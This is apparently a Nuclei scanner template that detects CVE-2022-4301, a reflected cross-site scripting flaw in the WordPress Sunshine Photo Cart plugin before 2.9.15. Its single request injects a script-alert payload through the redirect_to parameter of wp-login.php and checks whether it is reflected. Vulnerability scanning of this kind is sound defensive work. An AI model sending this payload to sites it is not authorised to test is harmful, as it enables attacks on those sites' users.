id: CVE-2022-4301

info:
  name: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.9.15.
  reference:
    - https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4301
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4301
    cwe-id: CWE-79
    epss-score: 0.11172
    epss-percentile: 0.93201
    cpe: cpe:2.3:a:sunshinephotocart:sunshine_photo_cart:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sunshinephotocart
    product: sunshine_photo_cart
    framework: wordpress
  tags: cve2022,cve,xss,sunshine,wordpress,wp-plugin,wpscan,unauth,sunshinephotocart

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Registration Form'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d6a6cd0afddd7499d5cb7f119d6b85216e6b4fc9a729b45f3e27d4a3f254dc18022100c148d75d24880699a15eeae065299e68dc562a33e129b3f3c6284bfb4a10ce72:922c64590222798bb761d5b6d8e72950